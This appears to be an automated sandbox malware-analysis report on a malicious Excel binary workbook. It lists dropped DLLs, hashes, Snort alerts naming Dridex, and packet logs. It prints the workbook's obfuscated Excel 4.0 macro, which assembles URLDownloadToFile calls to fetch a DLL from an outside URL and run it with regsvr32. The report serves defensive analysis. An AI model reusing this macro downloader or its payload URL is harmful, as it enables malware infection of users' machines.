MD5:	839795652A8FE78F26F4D86D757ABDE8
SHA1:	979E5B90C72EA3E5E9D9B506AFDC981BFCA61B60
SHA-256:	1A9EF0E2F66682B532D15457635920067C4F29EF762D2E8A3E0363B4CF39C13E
SHA-512:	E6D5CB06679832DE768E23EF42B9780E4E8327A057A3EA0A6CD5B76908B210078EF659CA44C8723960AB59A0DB85A052C45E7A29D7FA8A643275BA5F210F6773
Malicious:	false
Preview:	.PNG........IHDR... ...M.............sRGB.........pHYs..........+....]ZIDATx^.......{fs..\|.S........d....`...9.....8..6/.......E.BB.....yw..w.-.FF.g.5~5..ivv.'..U.Tu..8.../=..R9s.Rn....Ry.....@..V.m).bCU..n....Ue.,~b;K.Q.KUlUR.`../...:.Y.Jy..Jy8.Q.K..Xzg..a.Y....X[...s.........`...Q1b...........\|e.a..$..(...e....e.e..i$SQ.i.y....o.@......p..yx.b.~....Z"..Xc{,..{..o....`...9K..;........=...%.@]? .h!.......W...Z....T.Uul..V..PS[.j.......,..W...T.Z..e..T.J)..+.KWt......W.].K..4......{.<)...V+e....u.I..A...`o..w.....jUU...b...'....EW....R\..'..b......U.X..SKV..O&..?.).....}._....\......hU\..W.m.I..\|.0\...o..?c.a3'.2}...u....`.9......q.dc....!..vq..B...9....&..rsJ.\...)..}.W./.._.g.5e....sy.......@I.l.J.UgW...q..o9^O.g;V.rv...U.0..._?.5\|...x...m..Z....6...._..l.....dc......K..`U.c+;.K.^...`.L....j:W(...fuB=.p..w=..D....q..&..8.V.....UU.b#z...Xyo..X...*...w..U.....sW2...d.u.~.~..)l....e.q.:#r.f.....m\|...w_...1.i..bs.F..L.`.}..6V..w.....z

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	205312
Entropy (8bit):	6.709188825960524
Encrypted:	false
SSDEEP:	3072:o7tbwam7niPOMFJjOknVCSd/3391UnrWoTmutZ/dyQCK+VBVmICKUizHz2/bf:StbwamK1jlnnV91UrWStFdjaVF2/b
MD5:	28193BA741232F91101849F606FA8419
SHA1:	12FD2B9850C58A9384EDCBDEC2F94EFD32B0C0B5
SHA-256:	67E54B44DAD909734A59DF457950C05727B7ECF387F1F37C38C18CEF5AF579C2
SHA-512:	783213432A0CC54B92F5A49B0F314D949D48810A5D1FC36C92D26A302812E9B66618A0666FAE4BD33911DBC0542390844DA1436D4B9BC73A73D12B4C67929D1F
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 6%, Browse Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: sample.ocx, Detection: malicious, Browse
IE Cache URL:	https://tpfcu.com/getfile.php
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B[..:...:...:..$Z...:..$Z...:..$Z..~:..=d...:..=d...:..=d...:..$Z...:...:..k:...:...:...d...:...dY..:...d...:..Rich.:..................PE..d....P.`.........." .........................................................p............`.............................................T...d...x........N......l............`.........8...........................0................................................text...0........................... ..`.rdata...".......$..................@..@.data...............................@....pdata..l...........................@..@.gfids..............................@..@.rsrc....N.......N..................@..@.reloc.......`......................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\18720000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	80566
Entropy (8bit):	7.893302821449264
Encrypted:	false
SSDEEP:	1536:Xelem3l7eO+dRRVnyY7lMVGoIahaDHTU6hryF70cAeWvijWGHc:bol7eO6RSY72sTU2yF70cAijW2c
MD5:	5138B6C608292E4C867FC32717C1CF59
SHA1:	836E1C79573D2D8F2E5FCED81BDCA22EEE921EF1
SHA-256:	F04037BBF157BEAF7297874FD3700B1059E20B1E6FBF199C61F2B1E112E660C7
SHA-512:	43AF1CC70CD407BBB7BD1B78B98F1054A85A44C96DDAEA6B1AA3AA2D5D0A943659D445D8566010CE5FB177C2597A57FEEA27D5440B8A8D285E2BD5891A31C67C
Malicious:	false
Preview:	.UKO.0..#...\|]%n9..)..rd.`..kO..~.c.....P.*-.\.r..\|.O&.+k.....k......J..e....Va.N....l....?.&w..X..a....o.Q.`.6>.....V$....B.E..\|4..w.\.S.`.._X.{....o......,.2m3>?.;.s..!D.FK..4...;[._,....%3...Ba...iB..1.BJ..~....q.C..!.1.u......y.m....p...Q+.nDL..RZ\|e......f?I..b.+..).7V..gN..........D^N.OH..H.w#WR...(..#.?.i3..3..+r...}.\.....O.........~s/7...{.A.&...x.}....1[.....D.ti$.D...d.....1.]."..4l..-.U..rr.!Oq.j.6/...........PK..........!........v.......[Content_Types].xml ...(...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L3YD7CE.dll Download File
Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	205312
Entropy (8bit):	6.709188825960524
Encrypted:	false
SSDEEP:	3072:o7tbwam7niPOMFJjOknVCSd/3391UnrWoTmutZ/dyQCK+VBVmICKUizHz2/bf:StbwamK1jlnnV91UrWStFdjaVF2/b
MD5:	28193BA741232F91101849F606FA8419
SHA1:	12FD2B9850C58A9384EDCBDEC2F94EFD32B0C0B5
SHA-256:	67E54B44DAD909734A59DF457950C05727B7ECF387F1F37C38C18CEF5AF579C2
SHA-512:	783213432A0CC54B92F5A49B0F314D949D48810A5D1FC36C92D26A302812E9B66618A0666FAE4BD33911DBC0542390844DA1436D4B9BC73A73D12B4C67929D1F
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 6%, Browse Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: sample.ocx, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B[..:...:...:..$Z...:..$Z...:..$Z..~:..=d...:..=d...:..=d...:..$Z...:...:..k:...:...:...d...:...dY..:...d...:..Rich.:..................PE..d....P.`.........." .........................................................p............`.............................................T...d...x........N......l............`.........8...........................0................................................text...0........................... ..`.rdata...".......$..................@..@.data...............................@....pdata..l...........................@..@.gfids..............................@..@.rsrc....N.......N..................@..@.reloc.......`......................@..B................................................................................................................................................................................................

C:\Users\user\Desktop\~$Documents_13134976_1377491379.xlsb Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtt:RJ1
MD5:	7AB76C81182111AC93ACF915CA8331D5
SHA1:	68B94B5D4C83A6FB415C8026AF61F3F8745E2559
SHA-256:	6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
SHA-512:	A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
Malicious:	true
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\iepfusn.dll Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	205312
Entropy (8bit):	6.709188825960524
Encrypted:	false
SSDEEP:	3072:o7tbwam7niPOMFJjOknVCSd/3391UnrWoTmutZ/dyQCK+VBVmICKUizHz2/bf:StbwamK1jlnnV91UrWStFdjaVF2/b
MD5:	28193BA741232F91101849F606FA8419
SHA1:	12FD2B9850C58A9384EDCBDEC2F94EFD32B0C0B5
SHA-256:	67E54B44DAD909734A59DF457950C05727B7ECF387F1F37C38C18CEF5AF579C2
SHA-512:	783213432A0CC54B92F5A49B0F314D949D48810A5D1FC36C92D26A302812E9B66618A0666FAE4BD33911DBC0542390844DA1436D4B9BC73A73D12B4C67929D1F
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 6%, Browse Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: sample.ocx, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B[..:...:...:..$Z...:..$Z...:..$Z..~:..=d...:..=d...:..=d...:..$Z...:...:..k:...:...:...d...:...dY..:...d...:..Rich.:..................PE..d....P.`.........." .........................................................p............`.............................................T...d...x........N......l............`.........8...........................0................................................text...0........................... ..`.rdata...".......$..................@..@.data...............................@....pdata..l...........................@..@.gfids..............................@..@.rsrc....N.......N..................@..@.reloc.......`......................@..B................................................................................................................................................................................................

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.867132102918904
TrID:	Excel Microsoft Office Binary workbook document (47504/1) 49.74% Excel Microsoft Office Open XML Format document (40004/1) 41.89% ZIP compressed archive (8000/1) 8.38%
File name:	Documents_13134976_1377491379.xlsb
File size:	64636
MD5:	276bf3db434b887bb77adca0bd46e130
SHA1:	eee2be9136f2c70a28b6ca5289e73e2a38453da2
SHA256:	27180043ebeb8f2aa8728c5ee020fb5368be3df4e9008b8f01242bf82d5780ce
SHA512:	abe0052635a1064304828a7b8fa8663997fb023d542944ddb3bdb346170bd5fbe9a76b2e53184e4b3c7a9e09a768982a396b7253d83c309fd7f522f427262e7a
SSDEEP:	1536:LvnO2wWjlMVGoIahaDHTU6hryF70liWWGH0AeWl+R:LGCj2sTU2yF70liWW200+R
File Content Preview:	PK..........!.+...............[Content_Types].xml ...(.....................................................................................................................................................................................!!..................

File Icon


Icon Hash:	74f0d0d2c6d6d0f4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Documents_13134976_1377491379.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

CALL(before.2.18.46.sheet!BJ29&before.2.18.46.sheet!BN29, before.2.18.46.sheet!BM35&before.2.18.46.sheet!BM38&before.2.18.46.sheet!BS41&before.2.18.46.sheet!BU41&before.2.18.46.sheet!BS25, before.2.18.46.sheet!BK50&before.2.18.46.sheet!BS42, before.2.18.46.sheet!BP33, before.2.18.46.sheet!BJ19&BJ20&BJ21&BJ22, before.2.18.46.sheet!BN24, before.2.18.46.sheet!BP38, before.2.18.46.sheet!BP41)

=EXEC(Sheet1!BF42&Sheet1!BF43&Sheet1!BF44&Sheet1!BN24)=HALT()

,,,,,,,,,,,,,,,ht,,,,,,,,,,,,,,,,,,,,,,,,,,tps://,,,,,,,,,,,,,,,,,,,,,,,,,,tpfcu.com/getfile.,,,,,,,,,,,,,,,,,,,,,,,,,,php,,,,,,,,,,,"=CALL(before.2.18.46.sheet!BJ29&before.2.18.46.sheet!BN29,before.2.18.46.sheet!BM35&before.2.18.46.sheet!BM38&before.2.18.46.sheet!BS41&before.2.18.46.sheet!BU41&before.2.18.46.sheet!BS25,before.2.18.46.sheet!BK50&before.2.18.46.sheet!BS42,before.2.18.46.sheet!BP33,before.2.18.46.sheet!BJ19&BJ20&BJ21&BJ22,before.2.18.46.sheet!BN24,before.2.18.46.sheet!BP38,before.2.18.46.sheet!BP41)",,,,,,,,,,,,,,,,,,,,,,,,,,=Sheet2!BB10(),,,,,,,,,,,,,,,,,,,..\iepfusn.dll,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,A,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,UR,,,,LMon,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,UR,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,LDownl,,,0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,0,,,oa,,dToFile,,,,,,,,,,,re,,,,,,,,,,,,,CBB,,,,,,,,,,,,,gs,,,,,,,,,,,,,,,,,,,,,,,,,,"=""vr32 -s """,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,JJC,,,,,,,,,,

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/09/21-15:22:05.833841	ICMP	382	ICMP PING Windows			192.168.2.6	8.8.7.7
06/09/21-15:22:05.833841	ICMP	384	ICMP PING			192.168.2.6	8.8.7.7
06/09/21-15:22:10.528872	ICMP	382	ICMP PING Windows			192.168.2.6	8.8.7.7
06/09/21-15:22:10.528872	ICMP	384	ICMP PING			192.168.2.6	8.8.7.7
06/09/21-15:22:20.469415	ICMP	382	ICMP PING Windows			192.168.2.6	8.8.7.7
06/09/21-15:22:20.469415	ICMP	384	ICMP PING			192.168.2.6	8.8.7.7
06/09/21-15:22:25.029456	ICMP	382	ICMP PING Windows			192.168.2.6	8.8.7.7
06/09/21-15:22:25.029456	ICMP	384	ICMP PING			192.168.2.6	8.8.7.7
06/09/21-15:22:36.677659	ICMP	382	ICMP PING Windows			192.168.2.6	8.8.7.7
06/09/21-15:22:36.677659	ICMP	384	ICMP PING			192.168.2.6	8.8.7.7
06/09/21-15:22:41.530548	ICMP	382	ICMP PING Windows			192.168.2.6	8.8.7.7
06/09/21-15:22:41.530548	ICMP	384	ICMP PING			192.168.2.6	8.8.7.7
06/09/21-15:22:49.386614	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49740	18.117.84.120	192.168.2.6
06/09/21-15:23:25.363224	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49747	18.117.84.120	192.168.2.6
06/09/21-15:23:57.298792	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49750	18.117.84.120	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 9, 2021 15:21:55.282211065 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.420984030 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.421092987 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.422017097 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.558451891 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.561686039 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.561707973 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.561739922 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.561764956 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.561799049 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.561822891 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.606833935 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.743777037 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.743941069 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.744791031 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.920869112 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927237034 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927289009 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927320004 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927349091 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.927350998 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927382946 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.927383900 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927417994 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927438021 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.927445889 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927464008 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.927479029 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927501917 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.927512884 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927524090 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.927546024 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:55.927555084 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:55.927598953 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065057993 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065104961 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065144062 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065176010 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065207005 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065208912 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065237045 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065244913 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065280914 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065282106 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065314054 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065329075 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065345049 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065359116 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065376043 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065381050 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065402985 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065424919 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065438032 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065464973 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065469980 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.065486908 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.065514088 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.201870918 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.201898098 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.201925993 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.201947927 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.201966047 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.201992989 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202016115 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202018976 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202038050 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202069044 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202095032 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202202082 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202254057 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202256918 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202275038 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202299118 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202300072 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202317953 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202327013 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202344894 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202353001 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202367067 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202377081 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202392101 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202400923 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202421904 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202423096 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202439070 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202450037 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202466965 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202471018 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202486992 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202507973 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202548027 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202574015 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202599049 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.202606916 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.202637911 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.207607985 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.207724094 CEST	49715	443	192.168.2.6	107.180.50.232
Jun 9, 2021 15:21:56.338391066 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.338424921 CEST	443	49715	107.180.50.232	192.168.2.6
Jun 9, 2021 15:21:56.338438988 CEST	443	49715	107.180.50.232	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 9, 2021 15:21:38.244496107 CEST	64267	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:38.294626951 CEST	53	64267	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:38.999614000 CEST	49448	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:39.059832096 CEST	53	49448	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:39.159909964 CEST	60342	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:39.210349083 CEST	53	60342	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:40.534393072 CEST	61346	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:40.584779024 CEST	53	61346	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:42.137758970 CEST	51774	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:42.198226929 CEST	53	51774	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:43.285564899 CEST	56023	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:43.346214056 CEST	53	56023	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:45.533961058 CEST	58384	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:45.584702015 CEST	53	58384	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:49.907931089 CEST	60261	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:49.958479881 CEST	53	60261	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:51.077616930 CEST	56061	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:51.183701038 CEST	53	56061	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:51.218998909 CEST	58336	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:51.277750969 CEST	53	58336	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:51.637789011 CEST	53781	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:51.717477083 CEST	53	53781	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:52.668123007 CEST	53781	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:52.742284060 CEST	53	53781	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:53.718720913 CEST	53781	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:53.776930094 CEST	53	53781	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:55.219571114 CEST	54064	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:55.279922962 CEST	53	54064	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:55.392092943 CEST	52811	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:55.444571972 CEST	53	52811	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:55.776357889 CEST	53781	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:55.835069895 CEST	53	53781	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:56.973902941 CEST	55299	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:57.028814077 CEST	53	55299	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:57.771101952 CEST	63745	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:57.822587013 CEST	53	63745	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:59.385391951 CEST	50055	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:59.440799952 CEST	53	50055	8.8.8.8	192.168.2.6
Jun 9, 2021 15:21:59.850233078 CEST	53781	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:21:59.908941984 CEST	53	53781	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:05.187127113 CEST	61374	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:05.240174055 CEST	53	61374	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:06.356194973 CEST	50339	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:06.411145926 CEST	53	50339	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:07.310992002 CEST	63307	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:07.364352942 CEST	53	63307	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:08.822825909 CEST	49694	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:08.872876883 CEST	53	49694	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:10.216510057 CEST	54982	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:10.277961016 CEST	53	54982	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:12.805483103 CEST	50010	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:12.879868031 CEST	53	50010	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:33.340646982 CEST	63718	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:33.401187897 CEST	53	63718	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:35.480846882 CEST	62116	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:35.617012978 CEST	53	62116	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:36.693973064 CEST	63816	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:36.752301931 CEST	53	63816	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:37.430131912 CEST	55014	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:37.571043968 CEST	53	55014	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:37.991182089 CEST	62208	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:38.050961018 CEST	53	62208	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:38.482630014 CEST	57574	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:38.550734043 CEST	53	57574	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:38.699526072 CEST	51818	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:38.760968924 CEST	53	51818	8.8.8.8	192.168.2.6
